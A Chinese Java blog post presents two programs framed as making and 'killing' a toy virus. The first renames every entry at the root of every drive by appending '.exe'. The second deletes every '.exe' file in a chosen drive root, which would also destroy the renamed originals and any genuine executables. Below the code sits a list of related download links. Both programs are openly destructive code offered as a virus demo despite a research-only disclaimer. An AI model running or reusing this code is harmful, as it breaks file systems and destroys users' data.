`
明子健
  • 浏览: 574802 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论

Java_文件流_更改文件后缀名

    博客分类:
  • Java
阅读更多
//通过在文件名后面添加.exe后缀,达到简单的文件感染目的
//申明:仅用于参考研究,请勿用于恶意攻击。不喜勿喷
package com.ming.demo;

import java.io.File;

public class Made_exe {

	public static void main(String[] args) {
		System.out.println("即将感染硬盘......");
		//获取本地硬盘盘符
		File[] roots =File.listRoots();
		for (int i = 0; i < roots.length; i++) {
			File f=new File(roots[i].toString());
			for (int j = 0; j < f.list().length; j++) {
				String fileName=(roots[i].toString()+f.list()[j]);
				File f_old=new File(fileName);
				File f_changeToExe=new File(fileName+".exe");
				if (f_old.renameTo(f_changeToExe)) {
					System.out.println("感染成功!");
				}else {
					System.out.println("感染失败!");
				}
				
			}
		}
	}

}


///前面“制造病毒”之后,下面的就是如何“杀毒”的代码了

package com.ming.demo;

import java.io.File;
import java.util.Scanner;

public class Kill_exe {
	public static void main(String[] args){
		Scanner input =new Scanner(System.in);
		System.out.println("请输入你要查杀的盘符:");
		String diskName=input.next()+":\\";
		File f=new File(diskName);
		if (f.exists()) {
			boolean existsExe=false;
			String[] names=f.list();
			for (int i = 0; i < names.length; i++) {
				//获取文件名
				String fileName=diskName+names[i];
				File f_exe=new File(fileName);
				int start=fileName.lastIndexOf(".")+1;
				//获取后缀名
				String type=fileName.substring(start);
				//匹配EXE
				if (type.equalsIgnoreCase("exe")) {
					existsExe=true;//发现病毒
					//删除病毒
					if (f_exe.delete()) {
						System.out.println("成功删除病毒:"+fileName);
					}else {
						System.out.println("杀毒失败,病毒名:"+fileName);
					}
				}
			}
			if (!existsExe) {
				System.out.println("未发现病毒!");
			}
		}else {
			System.out.println("不存在该盘!");
		}
		System.out.println("按任意键退出......");
		if (input.next()!=null) {
			System.exit(0);
		}

		
	}
}

 

0
0
分享到:
评论

相关推荐

    java修改文件后缀

    在Java编程语言中,修改文件后缀是一项常见的任务,尤其在处理文件操作或者数据存储时。这个场景可能出现在需要批量转换文件格式、处理用户上传的文件或者系统内部逻辑需要更改文件扩展名的情况。下面我们将详细探讨...

    java导出Word修改后缀名

    java导出文件, freemarker导出word需要ftl文件,java导出Word常见问题。2.TXT修改后缀名为.ftl

    所有文件后缀名大全

    - 修改文件后缀名:虽然可以更改文件后缀名,但这并不改变文件内容,如果用错误的程序打开,可能会导致数据丢失或无法打开。 4. 文件后缀名的管理和设置: - 在Windows系统中,可以通过控制面板或文件夹选项设置...

    java代码修改图片后缀

    运行本代码就可以修改文件夹内文件后缀。自己根据实际情况修改里面的路径和名字

    文件后缀名批量修改器

    批量修改文件后缀名的功能非常实用,特别是在处理大量文件时,手动一个一个去改会非常耗时,而使用工具则可以大大提升效率。 批量改文件后缀名.exe 是这个工具的执行程序,它可能是用编程语言(如C++、Python或Java...

    java程序 删除半年前的文件 后缀名为csv

    在Java编程中,删除特定类型(如...以上就是针对"java程序 删除半年前的文件 后缀名为csv"这一任务所涵盖的关键Java编程知识点。在实际应用中,这样的程序应当具有高度的灵活性和可配置性,以便适应不同的环境和需求。

    java批量修改文件后缀名方法总结

    Java批量修改文件后缀名方法总结 Java批量修改文件后缀名方法总结是指使用Java语言编写的程序来批量修改文件的后缀名。以下是关于Java批量修改文件后缀名方法的知识点总结: 一、使用Java语言编写的批量修改文件...

    SPRINGBOOT-finereport代码-需要修改文件后缀名

    在SpringBoot应用中,你可能遇到需要修改文件后缀名的情况,例如为了安全考虑或者适应不同的服务需求。以下是一些常见的方法: 1. **Java IO操作**:使用Java的File类,可以通过renameTo()方法进行文件名的修改,...

    IO流修改目录下文件后缀工具类

    统一修改目录下文件后缀名,IO流的基本操作,递归遍历目录下所有文件,找到符合条件的后缀并修改

    根据后缀名获取文件列表

    总结起来,无论是Java的旧版还是新版,都有相应的API和工具供开发者根据文件后缀名获取文件列表。这种方法广泛应用于文件管理、数据处理、文件搜索等场景。在实际应用中,可以根据项目需求进行适当的修改和扩展,...

    修改文件夹内所有文件后缀

    在IT领域,经常需要对大量文件进行操作,例如批量修改文件的后缀名。这个任务在编程中可以通过编写脚本或程序实现。标题提到的"修改文件夹内所有文件后缀"就是一个这样的需求,通常会用到编程语言中的文件操作和文件...

    追梦修改程序后缀名

    7. **处理和恢复文件后缀名**:如果误修改了文件后缀名,可以通过操作系统的文件属性或第三方工具恢复。在Windows中,可以取消隐藏文件扩展名的设置,然后重命名;在macOS和Linux中,可以在终端中使用`mv`命令进行...

    java实现批量更改照片的名字

    在IT行业中,编程任务经常涉及到文件操作,例如批量处理文件,比如本题中提到的“批量更改照片的名字”。Java作为一种广泛使用的编程语言,提供了丰富的API来处理文件和目录。在这个场景下,我们可以利用Java的`java...

    创建自己定义的后缀名,并指定打开方式

    在计算机世界中,文件后缀名是用于标识文件类型的重要组成部分。它可以帮助操作系统或应用程序知道如何处理特定的文件。例如,`.txt`通常代表文本文件,`.docx`表示Microsoft Word文档,`.jpg`则是图片文件。有时,...

    windows文件后缀名的含义,熟记后,将加你的电脑操作

    同时,掌握如何更改文件后缀名也是一种实用技巧,例如将`.jpg` 图片转换为`.png` 以便支持透明背景。 总的来说,深入理解Windows文件后缀名的含义是提高计算机操作技能的基础,它有助于我们更好地管理和保护个人...

    文件加密与解密的java代码

    文件名:FileEncrypter.java JDK:1.40以上 说明:文件加密 加密方法:三重DES加密 加密过程:对选中的文件加密后在同文件夹下生成一个增加了".tdes"扩展名的加密文件 (完美加密,更改后缀名也不可以打开)解密过程:...

    java上传文件实例

    //取得后缀名 int file_size=myFile.getSize(); //取得文件的大小 String saveurl=""; if(file_size&lt;file_size_max){ //更改文件名,取得当前上传时间的毫秒数值 //Calendar calendar = Calendar.getInstance(); ...

    基于Java的的文件图片上传-分片上传-断点续传-秒传java源码.zip

    4.图片上传部分:在文件上传部分已有功能的基础上实现了上传前缩略图预览,前台js文件后缀验证,后台代码文件后缀验证和文件类型验证(就算修改后缀名也无法成功上传),支持图片上传前压缩; 5.多选择器多文件上传...

    Java类加密2.0版本,无限制

    注意:不要加文件后缀.dll,直接使用文件的名字部分(classloader)! 举例说明:例如,本加密工具安装在c:\lanswonsoft\java_protect,执行加密后的CLASS文件的命令行如下: java -agentlib:c:\lanswonsoft\java_...

    java文件注释清除工具

    (如果想支持其他格式的文件,请用"."+格式后缀名替换clear_annot类的103行".txt"); 2.仅支持删除以注释开头的行该行前部的注释;(主要是为了删除jd-gui.exe反编译的文件前部的烦人的注释) 3.创建一个java项目,将该...

Global site tag (gtag.js) - Google Analytics